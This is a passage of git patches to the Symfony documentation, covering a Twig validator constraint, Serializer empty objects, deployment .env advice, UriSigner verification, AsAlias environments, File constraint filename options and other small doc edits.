+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('templateCode', new Twig());
+            }
+        }
+
+Constraint Options
+------------------
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``message`` **default**: ``This value is not a valid Twig template.``
+
+This is the message displayed when the given string does *not* contain valid Twig syntax::
+
+    // ...
+
+    class Page
+    {
+        #[Twig(message: 'Check this Twig code; it contains errors.')]
+        private string $templateCode;
+    }
+
+This message has no parameters.
+
+``skipDeprecations``
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+If ``true``, Twig deprecation warnings are ignored during validation. Set it to
+``false`` to trigger validation errors when the given Twig code contains any deprecations::
+
+    // ...
+
+    class Page
+    {
+        #[Twig(skipDeprecations: false)]
+        private string $templateCode;
+    }
+
+This can be helpful when enforcing stricter template rules or preparing for major
+Twig version upgrades.
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 58801a8c653..c2396ae3af7 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -34,6 +34,7 @@ String Constraints
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Slug </reference/constraints/Slug>`
+* :doc:`Twig </reference/constraints/Twig>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
diff --git a/twig_bridge.rst b/twig_bridge.rst
deleted file mode 100644
index bb7d84f7e9a..00000000000
--- a/twig_bridge.rst
+++ /dev/null
@@ -1,9 +0,0 @@
-Twig Bridge
-===========
-
-This bridge integrates Symfony with the Twig templating engine.
-
-.. toctree::
-   :maxdepth: 1
-
-   bridge/twig/validation

From b5f3bf13ed6858bb79901593bac9b3571ad53388 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Fri, 11 Apr 2025 14:43:37 +0200
Subject: [PATCH 5547/5766] Update end_to_end.rst

---
 testing/end_to_end.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index bb4a316f347..83d61b1e60f 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -26,7 +26,7 @@ to install the needed dependencies:
 
 .. code-block:: terminal
 
-    $ composer require symfony/panther
+    $ composer require --dev symfony/panther
 
 .. include:: /components/require_autoload.rst.inc
 

From ce286296c47b9d53358a75df75f3f267b0286a75 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Thu, 10 Apr 2025 19:43:53 +0200
Subject: [PATCH 5548/5766] [Serializer] (re)document PRESERVE_EMPTY_OBJECTS

---
 serializer.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 6e20a651341..b7deb6f5bff 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1571,6 +1571,13 @@ to ``true``::
     ]);
     // $jsonContent contains {"name":"Jane Doe"}
 
+Preserving Empty Objetcs
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will transform an empty array to `[]`.
+You can change this behavior by setting the ``AbstractObjectNormalizer::PRESERVE_EMPTY_OBJECTS`` context option
+to ``true``, when the value is `\ArrayObject()` the serialization would be `{}`.
+
 Handling Uninitialized Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From e384239df47030f05c3547139678c37218400ab2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Apr 2025 10:40:54 +0200
Subject: [PATCH 5549/5766] Tweaks

---
 serializer.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index b7deb6f5bff..440494d0be1 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1571,12 +1571,13 @@ to ``true``::
     ]);
     // $jsonContent contains {"name":"Jane Doe"}
 
-Preserving Empty Objetcs
+Preserving Empty Objects
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, the Serializer will transform an empty array to `[]`.
-You can change this behavior by setting the ``AbstractObjectNormalizer::PRESERVE_EMPTY_OBJECTS`` context option
-to ``true``, when the value is `\ArrayObject()` the serialization would be `{}`.
+By default, the Serializer transforms an empty array to ``[]``. You can change
+this behavior by setting the ``AbstractObjectNormalizer::PRESERVE_EMPTY_OBJECTS``
+context option to ``true``. When the value is an instance of ``\ArrayObject()``,
+the serialized data will be ``{}``.
 
 Handling Uninitialized Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 3a572358ae6cfafa90748178292a6e24c9ab9321 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Apr 2025 10:59:37 +0200
Subject: [PATCH 5550/5766] Update the build script to mention that it does not
 support Windows

---
 _build/build.php | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/_build/build.php b/_build/build.php
index 454553d459e..b80d8e0e51e 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -15,6 +15,13 @@
     ->addOption('generate-fjson-files', null, InputOption::VALUE_NONE, 'Use this option to generate docs both in HTML and JSON formats')
     ->addOption('disable-cache', null, InputOption::VALUE_NONE, 'Use this option to force a full regeneration of all doc contents')
     ->setCode(function(InputInterface $input, OutputInterface $output) {
+        // the doc building app doesn't work on Windows
+        if ('\\' === DIRECTORY_SEPARATOR) {
+            $output->writeln('<error>ERROR: The application that builds Symfony Docs does not support Windows. You can try using a Linux distribution via WSL (Windows Subsystem for Linux).</error>');
+
+            return 1;
+        }
+
         $io = new SymfonyStyle($input, $output);
         $io->text('Building all Symfony Docs...');
 

From 5ca3039e8bf1344368e098a83ac47749aeff7748 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mat=C4=9Bj=20Hump=C3=A1l?= <finwe@users.noreply.github.com>
Date: Mon, 14 Apr 2025 12:04:35 +0200
Subject: [PATCH 5551/5766] Specify explicitly what a priority of message
 handlers mean

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 484a5cbdaff..f504a470336 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2468,7 +2468,7 @@ Possible options to configure with tags are:
     Name of the method that will process the message.
 
 ``priority``
-    Priority of the handler when multiple handlers can process the same message.
+    Priority of the handler when multiple handlers can process the same message; higher values will be processed first.
 
 .. _handler-subscriber-options:
 

From cb186580124e06ed65024404856642ffb29ab1f9 Mon Sep 17 00:00:00 2001
From: jdevinemt <65512359+jdevinemt@users.noreply.github.com>
Date: Thu, 20 Mar 2025 17:07:39 -0600
Subject: [PATCH 5552/5766] [Deployment] - More accurate local .env file
 recommendation

---
 deployment.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 864ebc7a963..87e88f10ff8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -134,14 +134,13 @@ B) Configure your Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Most Symfony applications read their configuration from environment variables.
-While developing locally, you'll usually store these in ``.env`` and ``.env.local``
-(for local overrides). On production, you have two options:
+While developing locally, you'll usually store these in :ref:`.env files <configuration-env-var-in-dev>`. On production, you have two options:
 
 1. Create "real" environment variables. How you set environment variables, depends
    on your setup: they can be set at the command line, in your Nginx configuration,
    or via other methods provided by your hosting service;
 
-2. Or, create a ``.env.local`` file like your local development.
+2. Or, create a ``.env.prod.local`` file containing values specific to your production environment.
 
 There is no significant advantage to either of the two options: use whatever is
 most natural in your hosting environment.

From 059ecfa24b88db20e962a8e6a4cee88244de65ec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Apr 2025 17:42:27 +0200
Subject: [PATCH 5553/5766] Minor tweaks

---
 deployment.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 87e88f10ff8..07187f53cba 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -134,16 +134,18 @@ B) Configure your Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Most Symfony applications read their configuration from environment variables.
-While developing locally, you'll usually store these in :ref:`.env files <configuration-env-var-in-dev>`. On production, you have two options:
+While developing locally, you'll usually store these in :ref:`.env files <configuration-env-var-in-dev>`.
+On production, you have two options:
 
 1. Create "real" environment variables. How you set environment variables, depends
    on your setup: they can be set at the command line, in your Nginx configuration,
    or via other methods provided by your hosting service;
 
-2. Or, create a ``.env.prod.local`` file containing values specific to your production environment.
+2. Or, create a ``.env.prod.local`` file that contains values specific to your
+   production environment.
 
-There is no significant advantage to either of the two options: use whatever is
-most natural in your hosting environment.
+There is no significant advantage to either option: use whichever is most natural
+for your hosting environment.
 
 .. tip::
 

From 0ce5ffbbbd24e0230e7ec527b372958e0cb53e7e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Mon, 14 Apr 2025 17:23:22 +0200
Subject: [PATCH 5554/5766] [HttpFoundation] Add FrankenPHP docs for X-Sendfile

---
 components/http_foundation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 9a4f0b61516..5a0c24ef618 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -854,7 +854,7 @@ Alternatively, if you are serving a static file, you can use a
 
 The ``BinaryFileResponse`` will automatically handle ``Range`` and
 ``If-Range`` headers from the request. It also supports ``X-Sendfile``
-(see for `nginx`_ and `Apache`_). To make use of it, you need to determine
+(see for `FrankenPHP`_, `nginx`_ and `Apache`_). To make use of it, you need to determine
 whether or not the ``X-Sendfile-Type`` header should be trusted and call
 :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader`
 if it should::
@@ -1061,6 +1061,7 @@ Learn More
     /session
     /http_cache/*
 
+.. _FrankenPHP: https://frankenphp.dev/docs/x-sendfile/
 .. _nginx: https://mattbrictson.com/blog/accelerated-rails-downloads
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/

From afc84e2242147e1c7137a4d380b9e0736d86626c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Apr 2025 17:58:24 +0200
Subject: [PATCH 5555/5766] Update the links related to X-Sendfile and
 X-Accel-Redirect

---
 components/http_foundation.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 5a0c24ef618..14843bab346 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -854,9 +854,10 @@ Alternatively, if you are serving a static file, you can use a
 
 The ``BinaryFileResponse`` will automatically handle ``Range`` and
 ``If-Range`` headers from the request. It also supports ``X-Sendfile``
-(see for `FrankenPHP`_, `nginx`_ and `Apache`_). To make use of it, you need to determine
-whether or not the ``X-Sendfile-Type`` header should be trusted and call
-:method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader`
+(see `FrankenPHP X-Sendfile and X-Accel-Redirect headers`_,
+`nginx X-Accel-Redirect header`_ and `Apache mod_xsendfile module`_). To make use
+of it, you need to determine whether or not the ``X-Sendfile-Type`` header should
+be trusted and call :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader`
 if it should::
 
     BinaryFileResponse::trustXSendfileTypeHeader();
@@ -1061,9 +1062,9 @@ Learn More
     /session
     /http_cache/*
 
-.. _FrankenPHP: https://frankenphp.dev/docs/x-sendfile/
-.. _nginx: https://mattbrictson.com/blog/accelerated-rails-downloads
-.. _Apache: https://tn123.org/mod_xsendfile/
+.. _`FrankenPHP X-Sendfile and X-Accel-Redirect headers`: https://frankenphp.dev/docs/x-sendfile/
+.. _`nginx X-Accel-Redirect header`: https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_ignore_headers
+.. _`Apache mod_xsendfile module`: https://github.com/nmaier/mod_xsendfile
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
 .. _`valid JSON top-level value`: https://www.json.org/json-en.html
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside

From a8a4523bcdfd889b2f9afee9342a655a879e090c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Apr 2025 17:18:46 +0200
Subject: [PATCH 5556/5766] Fix a syntax issue in Coding Standards

---
 contributing/code/standards.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 3a00343faf1..ebfde7dfab4 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -211,7 +211,7 @@ Naming Conventions
 * Use `camelCase`_ for PHP variables, function and method names, arguments
   (e.g. ``$acceptableContentTypes``, ``hasSession()``);
 
-Use `snake_case`_ for configuration parameters, route names and Twig template
+* Use `snake_case`_ for configuration parameters, route names and Twig template
   variables (e.g. ``framework.csrf_protection``, ``http_status_code``);
 
 * Use SCREAMING_SNAKE_CASE for constants (e.g. ``InputArgument::IS_ARRAY``);

From 4f50290a46361fdf8907ecfa53beb8c6864330d8 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 15 Apr 2025 11:33:07 +0200
Subject: [PATCH 5557/5766] feat: swap from event constant to event class

---
 event_dispatcher.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 7372d58b8d0..b854488de52 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -246,14 +246,13 @@ methods could be called before or after the methods defined in other listeners
 and subscribers. To learn more about event subscribers, read :doc:`/components/event_dispatcher`.
 
 The following example shows an event subscriber that defines several methods which
-listen to the same ``kernel.exception`` event::
+listen to the same ``kernel.exception`` event which has an ``ExceptionEvent``::
 
     // src/EventSubscriber/ExceptionSubscriber.php
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpKernel\Event\ExceptionEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
 
     class ExceptionSubscriber implements EventSubscriberInterface
     {
@@ -261,7 +260,7 @@ listen to the same ``kernel.exception`` event::
         {
             // return the subscribed events, their methods and priorities
             return [
-                KernelEvents::EXCEPTION => [
+                ExceptionEvent::class => [
                     ['processException', 10],
                     ['logException', 0],
                     ['notifyException', -10],

From a6e0879c81c9009fcd376a144c0f97702b60213f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Apr 2025 17:36:40 +0200
Subject: [PATCH 5558/5766] Minor tweak

---
 event_dispatcher.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index b854488de52..8e5c3d092e0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -246,7 +246,8 @@ methods could be called before or after the methods defined in other listeners
 and subscribers. To learn more about event subscribers, read :doc:`/components/event_dispatcher`.
 
 The following example shows an event subscriber that defines several methods which
-listen to the same ``kernel.exception`` event which has an ``ExceptionEvent``::
+listen to the same :ref:`kernel.exception event <component-http-kernel-kernel-exception>`_
+via its ``ExceptionEvent`` class::
 
     // src/EventSubscriber/ExceptionSubscriber.php
     namespace App\EventSubscriber;

From 90def249610950e1811cd70d5bc1a94caf09ad15 Mon Sep 17 00:00:00 2001
From: Ousmane NDIAYE <ousmane.ndia@gmail.com>
Date: Tue, 15 Apr 2025 16:47:27 +0200
Subject: [PATCH 5559/5766] Update embedded.rst

Comment added to specify the name of the fil to edit. (As previous examples)
---
 form/embedded.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/form/embedded.rst b/form/embedded.rst
index dd163235f03..9e20164c3a4 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -87,6 +87,7 @@ inside the task form itself. To accomplish this, add a ``category`` field
 to the ``TaskType`` object whose type is an instance of the new ``CategoryType``
 class::
 
+    // src/Form/TaskType.php
     use App\Form\CategoryType;
     use Symfony\Component\Form\FormBuilderInterface;
 

From 89ff8f3485003be9c8c2f774a7acb588f7d192aa Mon Sep 17 00:00:00 2001
From: Bastien Jaillot <bjaillot@jolicode.com>
Date: Wed, 16 Apr 2025 12:20:24 +0200
Subject: [PATCH 5560/5766] Update routing.rst

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 79a513ba8dd..f34205de98e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2715,7 +2715,7 @@ same URL, but with the HTTPS scheme.
 
 If you want to force a group of routes to use HTTPS, you can define the default
 scheme when importing them. The following example forces HTTPS on all routes
-defined as annotations:
+defined as attributes:
 
 .. configuration-block::
 

From 32aec360f5fce14a1f7b680b8e5695a36cbad263 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Apr 2025 17:43:23 +0200
Subject: [PATCH 5561/5766] [EventDispatcher] Fix a minor syntax issue in a
 reference

---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 8e5c3d092e0..d9b913ed49f 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -246,7 +246,7 @@ methods could be called before or after the methods defined in other listeners
 and subscribers. To learn more about event subscribers, read :doc:`/components/event_dispatcher`.
 
 The following example shows an event subscriber that defines several methods which
-listen to the same :ref:`kernel.exception event <component-http-kernel-kernel-exception>`_
+listen to the same :ref:`kernel.exception event <component-http-kernel-kernel-exception>`
 via its ``ExceptionEvent`` class::
 
     // src/EventSubscriber/ExceptionSubscriber.php

From 7fc2bc7c4c2268e5f27acbc7954497a859c96a3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Apr 2025 16:22:47 +0200
Subject: [PATCH 5562/5766] [Console] Minor tweak in the article introduction

---
 console.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/console.rst b/console.rst
index baab4aff4a7..82bafd4d640 100644
--- a/console.rst
+++ b/console.rst
@@ -18,14 +18,14 @@ the ``list`` command to view all available commands in the application:
     ...
 
     Available commands:
-      about                                      Display information about the current project
-      completion                                 Dump the shell completion script
-      help                                       Display help for a command
-      list                                       List commands
+      about             Display information about the current project
+      completion        Dump the shell completion script
+      help              Display help for a command
+      list              List commands
      assets
-      assets:install                             Install bundle's web assets under a public directory
+      assets:install    Install bundle's web assets under a public directory
      cache
-      cache:clear                                Clear the cache
+      cache:clear       Clear the cache
     ...
 
 .. note::

From c4cf202b2614a726be6694161b6eec7aba253588 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Thu, 17 Apr 2025 08:34:15 +0200
Subject: [PATCH 5563/5766] fix configuration block indentation

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 6ae601cf724..6086ae1d946 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -226,7 +226,7 @@ each time you ask for it.
     If some files or directories in your project should not become services, you
     can exclude them using the ``exclude`` option:
 
-        .. configuration-block::
+    .. configuration-block::
 
         .. code-block:: yaml
 

From fa8f5b191bf11cd1c8e29f56fea743855d597e54 Mon Sep 17 00:00:00 2001
From: Alexander Hofbauer <a.hofbauer@fify.at>
Date: Thu, 17 Apr 2025 09:15:22 +0200
Subject: [PATCH 5564/5766] [Mailer] Document email.image name parameter

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index a6b5eb819d8..034f9bdfe97 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1093,6 +1093,14 @@ the email contents:
     <h1>Welcome {{ email.toName }}!</h1>
     {# ... #}
 
+By default this will create an attachment using the file path as filename:
+``Content-Disposition: inline; name="cid..."; filename="@images/logo.png"``.
+This behavior can be overridden by passing a name (the third argument):
+
+.. code-block:: html+twig
+
+    <img src="{{ email.image('@images/logo.png', name: 'my-logo.png') }}" alt="My Logo">
+
 .. _mailer-inline-css:
 
 Inlining CSS Styles

From 316c8ac333d822e1b5d68aa8bdbc25f8923c453c Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Thu, 17 Apr 2025 16:39:24 +0200
Subject: [PATCH 5565/5766] Add when argument to AsAlias

---
 service_container/alias_private.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f99f7cb5f3e..84632c1d89b 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -181,6 +181,27 @@ This means that when using the container directly, you can access the
             # ...
             app.mailer: '@App\Mail\PhpMailer'
 
+The ``#[AsAlias]`` attribute also support per-environment configuration
+via the ``when`` argument::
+
+    // src/Mail/PhpMailer.php
+    namespace App\Mail;
+
+    // ...
+    use Symfony\Component\DependencyInjection\Attribute\AsAlias;
+
+    #[AsAlias(id: 'app.mailer', when: 'dev')]
+    class PhpMailer
+    {
+        // ...
+    }
+
+You can pass either a string or an array of strings to the ``when`` argument.
+
+.. versionadded:: 7.3
+
+    The ``when`` argument on the ``#[AsAlias]`` attribute was introduced in Symfony 7.3.
+
 .. tip::
 
     When using ``#[AsAlias]`` attribute, you may omit passing ``id`` argument

From 5482c8281ad9bf346362e06f7988e83dd4282c6a Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 17 Apr 2025 20:14:01 -0400
Subject: [PATCH 5566/5766] [Routing] add tip about using `symfony/clock` with
 `UriSigner`

---
 routing.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/routing.rst b/routing.rst
index a9ada1fc44b..0e1a46a505b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2815,6 +2815,16 @@ argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
     Starting with Symfony 7.3, signed URI hashes no longer include the ``/`` or
     ``+`` characters, as these may cause issues with certain clients.
 
+.. tip::
+
+    If ``symfony/clock`` is installed, it is used for creating and verifying the
+    expiration. This allows you to :ref:`mock the current time in your tests
+    <clock_writing-tests>`.
+
+.. versionadded:: 7.3
+
+    ``symfony/clock`` support was added to ``UriSigner`` in Symfony 7.3.
+
 Troubleshooting
 ---------------
 

From aa3b1674ea0202c0d3966ee82f04836fe33479ec Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 18 Apr 2025 19:34:27 -0400
Subject: [PATCH 5567/5766] [Routing] document `UriSigner::verify()`

---
 routing.rst | 24 ++++++++++++++++++++++--
 1 file changed, 22 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index a9ada1fc44b..19c2ae1a5a6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2810,10 +2810,30 @@ argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     The feature to add an expiration date for a signed URI was introduced in Symfony 7.1.
 
+If you need to know the reason why a signed URI is invalid, you can use the
+``verify()`` method which throws exceptions on failure::
+
+    use Symfony\Component\HttpFoundation\Exception\ExpiredSignedUriException;
+    use Symfony\Component\HttpFoundation\Exception\UnsignedUriException;
+    use Symfony\Component\HttpFoundation\Exception\UnverifiedSignedUriException;
+
+    // ...
+
+    try {
+        $uriSigner->verify($uri); // $uri can be a string or Request object
+
+        // the URI is valid
+    } catch (UnsignedUriException) {
+        // the URI isn't signed
+    } catch (UnverifiedSignedUriException) {
+        // the URI is signed but the signature is invalid
+    } catch (ExpiredSignedUriException) {
+        // the URI is signed but expired
+    }
+
 .. versionadded:: 7.3
 
-    Starting with Symfony 7.3, signed URI hashes no longer include the ``/`` or
-    ``+`` characters, as these may cause issues with certain clients.
+    The ``verify()`` method was introduced in Symfony 7.3.
 
 Troubleshooting
 ---------------

From e7613b0e2af243005b9fb66c9d696f74005a645a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 19 Apr 2025 19:03:15 +0200
Subject: [PATCH 5568/5766] [Validator] Add filenameCharset and
 filenameCountUnit options to File constraint

---
 reference/constraints/File.rst | 54 ++++++++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 495c19f9cbe..62efa6cc08e 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -274,6 +274,31 @@ You can find a list of existing mime types on the `IANA website`_.
 If set, the validator will check that the filename of the underlying file
 doesn't exceed a certain length.
 
+``filenameCountUnit``
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``File::FILENAME_COUNT_BYTES``
+
+The character count unit to use for the filename max length check.
+By default :phpfunction:`strlen` is used, which counts the length of the string in bytes.
+
+Can be one of the following constants of the
+:class:`Symfony\\Component\\Validator\\Constraints\\File` class:
+
+* ``FILENAME_COUNT_BYTES``: Uses :phpfunction:`strlen` counting the length of the
+  string in bytes.
+* ``FILENAME_COUNT_CODEPOINTS``: Uses :phpfunction:`mb_strlen` counting the length
+  of the string in Unicode code points. Simple (multibyte) Unicode characters count
+  as 1 character, while for example ZWJ sequences of composed emojis count as
+  multiple characters.
+* ``FILENAME_COUNT_GRAPHEMES``: Uses :phpfunction:`grapheme_strlen` counting the
+  length of the string in graphemes, i.e. even emojis and ZWJ sequences of composed
+  emojis count as 1 character.
+
+.. versionadded:: 7.3
+
+    The ``filenameCountUnit`` option was introduced in Symfony 7.3.
+
 ``filenameTooLongMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -290,6 +315,35 @@ Parameter                       Description
 ``{{ filename_max_length }}``   Maximum number of characters allowed
 ==============================  ==============================================================
 
+``filenameCharset``
+~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string``  **default**: ``null``
+
+The charset to be used when computing value's filename max length with the
+:phpfunction:`mb_check_encoding` and :phpfunction:`mb_strlen`
+PHP functions.
+
+``filenameCharsetMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This filename does not match the expected charset.``
+
+The message that will be shown if the value is not using the given `filenameCharsetMessage`_.
+
+You can use the following parameters in this message:
+
+=================  ============================================================
+Parameter          Description
+=================  ============================================================
+``{{ charset }}``  The expected charset
+``{{ name }}``     The current (invalid) value
+=================  ============================================================
+
+.. versionadded:: 7.3
+
+    The ``filenameCharset`` and ``filenameCharsetMessage`` options were introduced in Symfony 7.3.
+
 ``extensionsMessage``
 ~~~~~~~~~~~~~~~~~~~~~
 

From 76c4720d47de37c43d0a87cc1c61fe8d1216605c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Apr 2025 17:17:11 +0200
Subject: [PATCH 5569/5766] Minor tweaks

---
 service_container/alias_private.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 84632c1d89b..22bf649d861 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -181,8 +181,8 @@ This means that when using the container directly, you can access the
             # ...
             app.mailer: '@App\Mail\PhpMailer'
 
-The ``#[AsAlias]`` attribute also support per-environment configuration
-via the ``when`` argument::
+The ``#[AsAlias]`` attribute can also be limited to one or more specific
+:ref:`config environments <configuration-environments>` using the ``when`` argument::
 
     // src/Mail/PhpMailer.php
     namespace App\Mail;
@@ -196,11 +196,16 @@ via the ``when`` argument::
         // ...
     }
 
-You can pass either a string or an array of strings to the ``when`` argument.
+    // pass an array to apply it in multiple config environments
+    #[AsAlias(id: 'app.mailer', when: ['dev', 'test'])]
+    class PhpMailer
+    {
+        // ...
+    }
 
 .. versionadded:: 7.3
 
-    The ``when`` argument on the ``#[AsAlias]`` attribute was introduced in Symfony 7.3.
+    The ``when`` argument of the ``#[AsAlias]`` attribute was introduced in Symfony 7.3.
 
 .. tip::
 

From 6350e2ea71430fa106bd7873a4c384153fab134e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Apr 2025 17:49:02 +0200
Subject: [PATCH 5570/5766] Minor tweaks

---
 routing.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index 672f331291b..663e8518504 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2837,13 +2837,14 @@ If you need to know the reason why a signed URI is invalid, you can use the
 
 .. tip::
 
-    If ``symfony/clock`` is installed, it is used for creating and verifying the
-    expiration. This allows you to :ref:`mock the current time in your tests
+    If ``symfony/clock`` is installed, it will be used to create and verify
+    expirations. This allows you to :ref:`mock the current time in your tests
     <clock_writing-tests>`.
 
 .. versionadded:: 7.3
 
-    ``symfony/clock`` support was added to ``UriSigner`` in Symfony 7.3.
